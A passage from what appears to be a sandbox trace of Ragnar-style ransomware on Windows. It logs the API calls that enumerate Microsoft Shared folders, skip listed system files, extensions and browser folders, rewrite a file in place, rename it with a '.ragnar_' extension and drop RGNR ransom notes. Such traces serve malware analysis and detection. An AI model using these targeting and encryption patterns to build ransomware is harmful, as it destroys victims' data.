lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0051.308] lstrcpyW (in: lpString1=0x1eb636, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0051.308] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\RGNR_FD7BD9FC.txt") returned=".txt" [0051.308] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0051.308] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0051.308] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0051.308] lstrcpyW (in: lpString1=0x1eb636, lpString2="WPGIMP32.FLT" | out: lpString1="WPGIMP32.FLT") returned="WPGIMP32.FLT" [0051.308] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned=".FLT" [0051.308] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0051.308] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="autorun.inf") returned 1 [0051.308] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="boot.ini") returned 1 [0051.308] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="bootfont.bin") returned 1 [0051.308] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="bootsect.bak") returned 1 [0051.308] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="bootmgr") returned 1 [0051.308] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="bootmgr.efi") returned 1 [0051.308] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="bootmgfw.efi") returned 1 [0051.309] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="desktop.ini") returned 1 [0051.309] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="iconcache.db") returned 1 [0051.309] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="ntldr") returned 1 [0051.309] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="ntuser.dat") returned 1 [0051.309] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="ntuser.dat.log") returned 1 [0051.309] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="ntuser.ini") returned 1 [0051.309] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="thumbs.db") returned 1 [0051.309] lstrcmpiW (lpString1=".FLT", lpString2=".db") returned 1 [0051.309] lstrcmpiW (lpString1=".FLT", lpString2=".sys") returned -1 [0051.309] lstrcmpiW (lpString1=".FLT", lpString2=".dll") returned 1 [0051.309] lstrcmpiW (lpString1=".FLT", lpString2=".lnk") returned -1 [0051.309] lstrcmpiW (lpString1=".FLT", lpString2=".msi") returned -1 [0051.309] lstrcmpiW (lpString1=".FLT", lpString2=".drv") returned 1 [0051.309] lstrcmpiW (lpString1=".FLT", lpString2=".exe") returned 1 [0051.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0051.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0051.310] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=280448) returned 1 [0051.310] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x44777, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.310] GetProcessHeap () returned 0x580000 [0051.310] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0051.310] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0051.311] VirtualAlloc (lpAddress=0x0, dwSize=0x44780, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0051.312] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.312] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0051.312] ReadFile (in: hFile=0x100, lpBuffer=0x300000, nNumberOfBytesToRead=0x44780, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1eaf34*=0x44780, lpOverlapped=0x0) returned 1 [0051.334] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0051.653] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x44780, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.653] WriteFile (in: hFile=0x100, lpBuffer=0x300000*, nNumberOfBytesToWrite=0x44780, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1eaf30*=0x44780, lpOverlapped=0x0) returned 1 [0051.663] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x44780, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.663] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.664] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x44780, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.664] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.664] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.664] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.664] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0051.665] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.665] GetProcessHeap () returned 0x580000 [0051.665] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0051.665] CloseHandle (hObject=0x100) returned 1 [0051.667] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" [0051.667] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.ragnar_FD7BD9FC" [0051.667] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0051.667] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0051.667] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0051.667] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0051.667] lstrcmpiW (lpString1="Help", lpString2=".") returned 1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="..") returned 1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="Windows") returned -1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="Windows.old") returned -1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="Tor browser") returned -1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="Internet Explorer") returned -1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="Google") returned 1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="Opera") returned -1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="Opera Software") returned -1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="Mozilla") returned -1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="Mozilla Firefox") returned -1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="$Recycle.Bin") returned 1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="ProgramData") returned -1 [0051.668] lstrcmpiW (lpString1="Help", lpString2="All Users") returned 1 [0051.668] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0051.668] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="Help" | out: lpString1="Help") returned="Help" [0051.668] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\" [0051.668] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\" [0051.668] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\RGNR_FD7BD9FC.txt" [0051.668] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0051.673] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*" [0051.673] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0051.673] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0051.673] lstrcpyW (in: lpString1=0x1eb21c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0051.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7109e840, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7109e840, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0051.673] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0051.673] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7109e840, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7109e840, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.673] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0051.673] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0051.673] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0051.673] lstrcmpiW (lpString1="hxds.dll", lpString2=".") returned 1 [0051.673] lstrcmpiW (lpString1="hxds.dll", lpString2="..") returned 1 [0051.673] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0051.673] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2=".") returned 1 [0051.673] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="..") returned 1 [0051.673] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0051.673] lstrcmpiW (lpString1="msitss55.dll", lpString2=".") returned 1 [0051.673] lstrcmpiW (lpString1="msitss55.dll", lpString2="..") returned 1 [0051.673] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7109e840, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7109e840, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0051.674] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0051.674] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0051.674] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7109e840, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7109e840, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0051.674] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0051.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7109e840, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7109e840, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0051.674] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7109e840, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7109e840, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.674] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0051.674] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0051.674] lstrcpyW (in: lpString1=0x1eb630, lpString2="hxds.dll" | out: lpString1="hxds.dll") returned="hxds.dll" [0051.674] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned=".dll" [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="autorun.inf") returned 1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="boot.ini") returned 1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="bootfont.bin") returned 1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="bootsect.bak") returned 1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="bootmgr") returned 1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="bootmgr.efi") returned 1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="bootmgfw.efi") returned 1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="desktop.ini") returned 1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="iconcache.db") returned -1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="ntldr") returned -1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="ntuser.dat") returned -1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="ntuser.dat.log") returned -1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="ntuser.ini") returned -1 [0051.674] lstrcmpiW (lpString1="hxds.dll", lpString2="thumbs.db") returned -1 [0051.674] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0051.674] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0051.674] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0051.674] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0051.674] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0051.675] lstrcpyW (in: lpString1=0x1eb630, lpString2="ITIRCL55.DLL" | out: lpString1="ITIRCL55.DLL") returned="ITIRCL55.DLL" [0051.675] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned=".DLL" [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="autorun.inf") returned 1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="boot.ini") returned 1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="bootfont.bin") returned 1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="bootsect.bak") returned 1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="bootmgr") returned 1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="bootmgr.efi") returned 1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="bootmgfw.efi") returned 1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="desktop.ini") returned 1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="iconcache.db") returned 1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="ntldr") returned -1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="ntuser.dat") returned -1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="ntuser.dat.log") returned -1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="ntuser.ini") returned -1 [0051.675] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="thumbs.db") returned -1 [0051.675] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0051.675] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0051.675] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0051.675] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0051.675] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0051.675] lstrcpyW (in: lpString1=0x1eb630, lpString2="msitss55.dll" | out: lpString1="msitss55.dll") returned="msitss55.dll" [0051.675] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned=".dll" [0051.675] lstrcmpiW (lpString1="msitss55.dll", 